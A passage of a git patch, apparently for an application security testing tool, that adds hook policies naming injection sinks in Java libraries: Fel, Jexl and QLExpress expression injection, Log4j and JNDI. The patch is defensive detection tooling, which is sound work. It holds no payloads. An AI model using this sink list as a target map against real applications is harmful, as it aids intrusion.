os.path.join(TMP_COMMON_PATH, "tantivy") ELASTICSEARCH_STATE = config.get("elastic_search", "enable") == "true" From ddc008c0f867c94ea947f68e77cd73766df5de61 Mon Sep 17 00:00:00 2001 From: bidaya0 Date: Tue, 17 Oct 2023 15:03:18 +0800 Subject: [PATCH 70/92] feat: add 1.16 strategy. --- static/data/go_full_policy.json | 13 + static/data/go_hooktype.json | 44 ++ static/data/java_full_policy.json | 1136 +++++++++++++++++++++++++-- static/data/java_hooktype.json | 66 ++ static/data/java_policy.json | 173 ++-- static/data/php_full_policy.json | 40 + static/data/php_hooktype.json | 44 ++ static/data/python_full_policy.json | 140 +++- static/data/python_hooktype.json | 44 ++ static/data/python_policy.json | 13 - static/data/vul_strategy.json | 80 +- 11 files changed, 1645 insertions(+), 148 deletions(-) diff --git a/static/data/go_full_policy.json b/static/data/go_full_policy.json index 70157f70a..0fb216130 100644 --- a/static/data/go_full_policy.json +++ b/static/data/go_full_policy.json @@ -9,6 +9,7 @@ "ignore_internal": false, "inherit": "false", "language": 4, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -27,6 +28,7 @@ "ignore_internal": false, "inherit": "false", "language": 4, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -52,6 +54,7 @@ "ignore_internal": false, "inherit": "false", "language": 4, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -77,6 +80,7 @@ "ignore_internal": false, "inherit": "false", "language": 4, + "modified": false, "source": "P3", "stack_blacklist": [], "system_type": 1, @@ -102,6 +106,7 @@ "ignore_internal": false, "inherit": "false", "language": 4, + "modified": false, "source": "P1,2", "stack_blacklist": [], "system_type": 1, @@ -120,6 +125,7 @@ "ignore_internal": false, "inherit": "false", "language": 4, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -138,6 +144,7 @@ "ignore_internal": false, "inherit": "false", "language": 4, + "modified": false, "source": "P1,2", "stack_blacklist": [], "system_type": 1, @@ -156,6 +163,7 @@ "ignore_internal": false, "inherit": "false", "language": 4, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -174,6 +182,7 @@ "ignore_internal": false, "inherit": "false", "language": 4, + "modified": false, "source": "P1,2", "stack_blacklist": [], "system_type": 1, @@ -192,6 +201,7 @@ "ignore_internal": false, "inherit": "false", "language": 4, + "modified": false, "source": "P1,2", "stack_blacklist": [], "system_type": 1, @@ -210,6 +220,7 @@ "ignore_internal": false, "inherit": "false", "language": 4, + "modified": false, "source": "P1,2", "stack_blacklist": [], "system_type": 1, @@ -228,6 +239,7 @@ "ignore_internal": false, "inherit": "false", "language": 4, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -253,6 +265,7 @@ "ignore_internal": false, "inherit": "false", "language": 4, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, diff --git a/static/data/go_hooktype.json b/static/data/go_hooktype.json index 6d432a170..c5d62c484 100644 --- a/static/data/go_hooktype.json +++ b/static/data/go_hooktype.json @@ -1,4 +1,15 @@ [ + { + "created_by": 1, + "enable": 1, + "language": 4, + "name": "Fel\u8868\u8fbe\u5f0f\u6ce8\u5165", + "name_en": null, + "name_zh": "Fel\u8868\u8fbe\u5f0f\u6ce8\u5165", + "system_type": 1, + "type": 4, + "value": "Fel\u8868\u8fbe\u5f0f\u6ce8\u5165" + }, { "created_by": 1, "enable": 1, @@ -65,6 +76,39 @@ "type": 3, "value": "JNDI\u6ce8\u5165" }, + { + "created_by": 1, + "enable": 1, + "language": 4, + "name": "Jexl\u8868\u8fbe\u5f0f\u6ce8\u5165", + "name_en": null, + "name_zh": "Jexl\u8868\u8fbe\u5f0f\u6ce8\u5165", + "system_type": 1, + "type": 4, + "value": "Jexl\u8868\u8fbe\u5f0f\u6ce8\u5165" + }, + { + "created_by": 1, + "enable": 1, + "language": 4, + "name": "Log4j", + "name_en": null, + "name_zh": "Log4j", + "system_type": 1, + "type": 4, + "value": "Log4j" + }, + { + "created_by": 1, + "enable": 1, + "language": 4, + "name": "QLExpress\u7ec4\u4ef6\u8868\u8fbe\u5f0f\u6ce8\u5165", + "name_en": null, + "name_zh": "QLExpress\u7ec4\u4ef6\u8868\u8fbe\u5f0f\u6ce8\u5165", + "system_type": 1, + "type": 4, + "value": "QLExpress\u7ec4\u4ef6\u8868\u8fbe\u5f0f\u6ce8\u5165" + }, { "created_by": 1, "enable": 1, diff --git a/static/data/java_full_policy.json b/static/data/java_full_policy.json index f866c9227..825851679 100644 --- a/static/data/java_full_policy.json +++ b/static/data/java_full_policy.json @@ -9,6 +9,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -27,6 +28,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -45,6 +47,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -63,6 +66,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -88,6 +92,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -106,6 +111,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -131,6 +137,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1,2", "stack_blacklist": [], "system_type": 1, @@ -149,6 +156,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -167,6 +175,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -192,6 +201,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -210,6 +220,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -228,6 +239,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -246,6 +258,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -264,6 +277,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -282,6 +296,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -300,6 +315,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -318,6 +334,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -336,6 +353,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -354,6 +372,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -372,6 +391,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -390,6 +410,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -408,6 +429,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -426,6 +448,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -451,6 +474,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -466,6 +490,32 @@ "type": 1, "value": "Enumeration" }, + { + "details": [ + { + "command": "", + "created_by": 1, + "enable": 1, + "ignore_blacklist": false, + "ignore_internal": false, + "inherit": "all", + "language": 1, + "modified": false, + "source": "P1", + "stack_blacklist": [], + "system_type": 1, + "tags": [], + "target": "", + "track": "true", + "type": 4, + "untags": [], + "value": "com.greenpineyu.fel.parser.AntlrParser.parse(java.lang.String)" + } + ], + "enable": 1, + "type": 4, + "value": "Fel\u8868\u8fbe\u5f0f\u6ce8\u5165" + }, { "details": [ { @@ -476,6 +526,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -501,6 +552,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -523,6 +575,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -545,6 +598,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -567,6 +621,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -589,6 +644,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -611,6 +667,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -640,6 +697,7 @@ "ignore_internal": true, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -658,6 +716,7 @@ "ignore_internal": true, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -676,6 +735,7 @@ "ignore_internal": true, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -701,6 +761,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -719,6 +780,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -734,6 +796,77 @@ "type": 4, "value": "JNDI\u6ce8\u5165" }, + { + "details": [ + { + "command": "", + "created_by": 1, + "enable": 1, + "ignore_blacklist": false, + "ignore_internal": false, + "inherit": "all", + "language": 1, + "modified": false, + "source": "P3", + "stack_blacklist": [], + "system_type": 1, + "tags": [], + "target": "R", + "track": "false", + "type": 1, + "untags": [], + "value": "org.apache.commons.jexl3.internal.Engine.createScript(org.apache.commons.jexl3.JexlFeatures,org.apache.commons.jexl3.JexlInfo,java.lang.String,java.lang.String[])" + } + ], + "enable": 1, + "type": 1, + "value": "Jexl\u8868\u8fbe\u5f0f\u6ce8\u5165" + }, + { + "details": [ + { + "command": "", + "created_by": 1, + "enable": 1, + "ignore_blacklist": false, + "ignore_internal": false, + "inherit": "all", + "language": 1, + "modified": false, + "source": "O", + "stack_blacklist": [], + "system_type": 1, + "tags": [], + "target": "", + "track": "true", + "type": 4, + "untags": [], + "value": "org.apache.commons.jexl3.internal.Script.execute(org.apache.commons.jexl3.JexlContext)" + }, + { + "command": "", + "created_by": 1, + "enable": 1, + "ignore_blacklist": false, + "ignore_internal": false, + "inherit": "all", + "language": 1, + "modified": false, + "source": "O", + "stack_blacklist": [], + "system_type": 1, + "tags": [], + "target": "", + "track": "true", + "type": 4, + "untags": [], + "value": "org.apache.commons.jexl3.internal.Script.execute(org.apache.commons.jexl3.JexlContext,java.lang.Object[])" + } + ], + "enable": 1, + "type": 4, + "value": "Jexl\u8868\u8fbe\u5f0f\u6ce8\u5165" + }, { "details": [ { @@ -744,6 +877,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -762,6 +896,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P4,5", "stack_blacklist": [], "system_type": 1, @@ -777,6 +912,77 @@ "type": 1, "value": "Kafka\u4f20\u64ad" }, + { + "details": [ + { + "command": "", + "created_by": 1, + "enable": 1, + "ignore_blacklist": false, + "ignore_internal": false, + "inherit": "all", + "language": 1, + "modified": true, + "source": "P2", + "stack_blacklist": [], + "system_type": 1, + "tags": [], + "target": "O|R", + "track": "false", + "type": 1, + "untags": [], + "value": "org.apache.logging.log4j.spi.AbstractLogger.info(java.lang.String,java.lang.Object)" + }, + { + "command": "", + "created_by": 1, + "enable": 1, + "ignore_blacklist": false, + "ignore_internal": false, + "inherit": "all", + "language": 1, + "modified": false, + "source": "P5", + "stack_blacklist": [], + "system_type": 1, + "tags": [], + "target": "O|R", + "track": "false", + "type": 1, + "untags": [], + "value": "org.apache.logging.log4j.spi.AbstractLogger.logIfEnabled(java.lang.String,org.apache.logging.log4j.Level,org.apache.logging.log4j.Marker,java.lang.String,java.lang.Object)" + } + ], + "enable": 1, + "type": 1, + "value": "Log4j" + }, + { + "details": [ + { + "command": "", + "created_by": 1, + "enable": 1, + "ignore_blacklist": false, + "ignore_internal": false, + "inherit": "all", + "language": 1, + "modified": false, + "source": "P5", + "stack_blacklist": [], + "system_type": 1, + "tags": [], + "target": "", + "track": "true", + "type": 4, + "untags": [], + "value": "org.apache.logging.log4j.spi.AbstractLogger.logMessage(java.lang.String,org.apache.logging.log4j.Level,org.apache.logging.log4j.Marker,java.lang.String,java.lang.Object)" + } + ], + "enable": 0, + "type": 4, + "value": "Log4j" + }, { "details": [ { @@ -787,6 +993,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1,2", "stack_blacklist": [], "system_type": 1, @@ -805,6 +1012,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -830,6 +1038,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -848,6 +1057,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -866,6 +1076,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -884,6 +1095,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -902,6 +1114,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -920,6 +1133,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -938,6 +1152,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -956,6 +1171,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -974,6 +1190,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -992,6 +1209,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -1017,6 +1235,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -1042,6 +1261,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -1057,6 +1277,32 @@ "type": 1, "value": "Propagator:Hessian" }, + { + "details": [ + { + "command": "", + "created_by": 1, + "enable": 1, + "ignore_blacklist": false, + "ignore_internal": false, + "inherit": "all", + "language": 1, + "modified": false, + "source": "P1", + "stack_blacklist": [], + "system_type": 1, + "tags": [], + "target": "", + "track": "true", + "type": 4, + "untags": [], + "value": "com.ql.util.express.ExpressRunner.parseInstructionSet(java.lang.String)" + } + ], + "enable": 1, + "type": 4, + "value": "QLExpress\u7ec4\u4ef6\u8868\u8fbe\u5f0f\u6ce8\u5165" + }, { "details": [ { @@ -1067,6 +1313,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -1087,6 +1334,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -1114,6 +1362,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -1132,6 +1381,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -1150,6 +1400,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -1168,6 +1419,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -1186,6 +1438,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -1204,6 +1457,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -1222,6 +1476,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -1240,6 +1495,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -1258,6 +1514,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -1276,6 +1533,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -1294,6 +1552,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -1312,6 +1571,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -1337,6 +1597,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -1355,6 +1616,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -1373,6 +1635,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -1391,6 +1654,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -1409,6 +1673,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -1427,6 +1692,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -1445,6 +1711,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -1463,6 +1730,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -1481,6 +1749,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -1499,6 +1768,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -1517,6 +1787,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -1535,6 +1806,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -1553,6 +1825,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -1571,6 +1844,7 @@ "ignore_internal": false, "inherit": "all", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -1589,6 +1863,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -1607,6 +1882,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -1632,6 +1908,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -1650,6 +1927,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -1668,6 +1946,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -1686,6 +1965,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -1711,6 +1991,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -1736,6 +2017,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -1754,6 +2036,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -1772,6 +2055,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -1790,6 +2074,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -1808,6 +2093,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -1826,6 +2112,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -1844,6 +2131,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -1862,6 +2150,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -1880,6 +2169,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -1898,6 +2188,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -1916,6 +2207,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -1934,6 +2226,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -1952,6 +2245,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O|P1", "stack_blacklist": [], "system_type": 1, @@ -1970,6 +2264,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -1988,6 +2283,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -2006,6 +2302,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -2024,6 +2321,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -2042,6 +2340,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -2060,6 +2359,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -2078,6 +2378,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O|P2", "stack_blacklist": [], "system_type": 1, @@ -2096,6 +2397,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -2114,6 +2416,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -2132,6 +2435,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -2150,6 +2454,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -2168,6 +2473,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -2186,6 +2492,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -2204,6 +2511,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -2222,6 +2530,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -2240,6 +2549,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -2258,6 +2568,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -2276,6 +2587,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -2294,6 +2606,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -2312,6 +2625,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -2330,6 +2644,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -2348,6 +2663,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -2366,6 +2682,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -2388,6 +2705,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -2410,6 +2728,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -2432,6 +2751,7 @@ "ignore_internal": false, "inherit": "true", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -2454,6 +2774,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -2476,6 +2797,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -2505,6 +2827,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -2523,6 +2846,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -2541,6 +2865,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -2559,6 +2884,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -2577,6 +2903,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -2595,6 +2922,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -2613,6 +2941,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -2631,6 +2960,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P1", "stack_blacklist": [], "system_type": 1, @@ -2649,6 +2979,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -2667,6 +2998,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -2685,6 +3017,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "O", "stack_blacklist": [], "system_type": 1, @@ -2703,6 +3036,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -2721,6 +3055,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -2739,6 +3074,7 @@ "ignore_internal": false, "inherit": "false", "language": 1, + "modified": false, "source": "P2", "stack_blacklist": [], "system_type": 1, @@ -2757,6 +3093,7 @@ "ignore_internal": false, "inherit": 